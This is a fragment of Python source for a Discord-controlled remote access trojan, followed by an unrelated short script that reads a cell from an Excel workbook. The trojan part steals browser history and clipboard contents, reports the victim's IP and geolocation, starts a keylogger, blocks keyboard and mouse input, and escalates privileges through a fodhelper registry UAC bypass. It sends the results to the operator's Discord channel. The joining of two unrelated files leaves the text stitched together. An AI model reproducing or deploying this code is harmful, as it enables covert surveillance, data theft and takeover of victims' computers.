executed") if message.content == "!help": await message.channel.send(helpmenu) if message.content.startswith("!write"): import pyautogui if message.content[7:] == "enter": pyautogui.press("enter") else: pyautogui.typewrite(message.content[7:]) if message.content == "!history": import os import browserhistory as bh dict_obj = bh.get_browserhistory() strobj = str(dict_obj).encode(errors='ignore') with open("history.txt", "a") as hist: hist.write(str(strobj)) file = discord.File("history.txt", filename="history.txt") await message.channel.send("[*] Command successfully executed", file=file) os.remove("history.txt") if message.content == "!clipboard": import ctypes import os CF_TEXT = 1 kernel32 = ctypes.windll.kernel32 kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] user32 = ctypes.windll.user32 user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard(0) if user32.IsClipboardFormatAvailable(CF_TEXT): data = user32.GetClipboardData(CF_TEXT) data_locked = kernel32.GlobalLock(data) text = ctypes.c_char_p(data_locked) value = text.value kernel32.GlobalUnlock(data_locked) body = value.decode() user32.CloseClipboard() await message.channel.send(f"[*] Clipboard content is : {body}" ) if message.content.startswith("!stopsing"): import os os.system(f"taskkill /F /IM {pid_process[1]}") if message.content == "!sysinfo": import platform info = platform.uname() info_total = f'{info.system} {info.release} {info.machine}' from requests import get ip = get('https://api.ipify.org').text await message.channel.send( f"[*] Command successfully executed : {info_total} {ip}") if message.content == "!geolocate": import urllib.request import json with urllib.request.urlopen( "https://geolocation-db.com/json") as url: data = json.loads(url.read().decode()) link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}" await message.channel.send( "[*] Command successfully executed : " + link) if message.content == "!admincheck": import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: await message.channel.send("[*] Congrats you're admin") elif is_admin == False: await message.channel.send("[!] Sorry, you're not admin") if message.content == "!uacbypass": import os import win32net if 'logonserver' in os.environ: server = os.environ['logonserver'][2:] else: server = None def if_user_is_admin(Server): groups = win32net.NetUserGetLocalGroups(Server, os.getlogin()) isadmin = False for group in groups: if group.lower().startswith('admin'): isadmin = True return isadmin, groups is_admin, groups = if_user_is_admin(server) if is_admin == True: print('User in admin group trying to bypass uac') import os import sys import ctypes import winreg CMD = "C:\\Windows\\System32\\cmd.exe" FOD_HELPER = 'C:\\Windows\\System32\\fodhelper.exe' COMM = "start" REG_PATH = 'Software\\Classes\\ms-settings\\shell\\open\\command' DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_running_as_admin(): ''' Checks if the script is running with administrative privileges. Returns True if is running as admin, False otherwise. ''' try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_reg_key(key, value): ''' Creates a reg key ''' try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) winreg.CloseKey(registry_key) except WindowsError: raise def bypass_uac(cmd): ''' Tries to bypass the UAC ''' try: create_reg_key(DELEGATE_EXEC_REG_KEY, '') create_reg_key(None, cmd) except WindowsError: raise def execute(): if not is_running_as_admin(): print( '[!] The script is NOT running with administrative privileges' ) print('[+] Trying to bypass the UAC') try: current_dir = os.path.dirname( os.path.realpath( __file__)) + '\\' + sys.argv[0] cmd = '{} /k {} {}'.format(CMD, COMM, current_dir) print(cmd) bypass_uac(cmd) os.system(FOD_HELPER) sys.exit(0) except WindowsError: sys.exit(1) else: print( '[+] The script is running with administrative privileges!' ) if __name__ == '__main__': execute() else: print("failed") await message.channel.send( "[*] Command failed : User not in administrator group") if message.content.startswith( "!sing" ): # This is awfully complicated for such a dumb command I don't know why I wasted time doing this. volumeup() from win32 import win32gui import win32con import win32gui from win32con import SW_HIDE import win32process import os link = message.content[6:] if link.startswith("http"): link = link[link.find('www'):] os.system(f'start {link}') while True: def get_all_hwnd(hwnd, mouse): def winEnumHandler(hwnd, ctx): if win32gui.IsWindowVisible(hwnd): if "youtube" in ( win32gui.GetWindowText(hwnd).lower()): win32gui.ShowWindow(hwnd, SW_HIDE) global pid_process pid_process = win32process.GetWindowThreadProcessId( hwnd) return "ok" else: pass if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled( hwnd) and win32gui.IsWindowVisible(hwnd): win32gui.EnumWindows(winEnumHandler, None) try: win32gui.EnumWindows(get_all_hwnd, 0) except: break if message.content == "!startkeylogger": import base64 import os from pynput.keyboard import Key, Listener import logging temp = os.getenv("TEMP") logging.basicConfig( filename=os.path.join(os.getenv('TEMP') + "\\key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def keylog(): def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join() import threading global test test = threading.Thread(target=keylog) test._running = True test.daemon = True test.start() await message.channel.send("[*] Keylogger successfully started") if message.content == "!stopkeylogger": import os test._running = False await message.channel.send("[*] Keylogger successfully stopped") if message.content == "!idletime": class LASTINPUTINFO(Structure): _fields_ = [ ('cbSize', c_uint), ('dwTime', c_int), ] def get_idle_duration(): lastInputInfo = LASTINPUTINFO() lastInputInfo.cbSize = sizeof(lastInputInfo) if windll.user32.GetLastInputInfo(byref(lastInputInfo)): millis = windll.kernel32.GetTickCount( ) - lastInputInfo.dwTime return millis / 1000.0 else: return 0 import threading global idle1 idle1 = threading.Thread(target=get_idle_duration) idle1._running = True idle1.daemon = True idle1.start() duration = get_idle_duration() await message.channel.send('User idle for %.2f seconds.' % duration ) import time time.sleep(1) if message.content.startswith("!voice"): volumeup() import comtypes import win32com.client as wincl speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak(message.content[7:]) comtypes.CoUninitialize() await message.channel.send("[*] Command successfully executed") if message.content.startswith("!blockinput"): import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: ok = windll.user32.BlockInput(True) await message.channel.send("[*] Command successfully executed") else: await message.channel.send( "[!] Admin rights are required for this operation") if message.content.startswith("!unblockinput"): import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: ok = windll.user32.BlockInput(False) await message.channel.send("[*] Command successfully executed") else: await message.channel.send( "[!] Admin rights are required for this operation")
# -*- coding: utf-8 -*- """ Reads values from specified cells of a spreadsheet @author: Kalkberg """ import win32com.client as win32 excel = win32.Dispatch('Excel.Application') wb = excel.Workbooks.Open(r'D:\Github\Learning\Test_Sheet.xlsx') ws = wb.Worksheets('Sheet1') #ws.EnableCalculation = True #ws.Calculate() val = ws.Cells(2,1).Value print(val) # release resources ws = None wb = None excel = None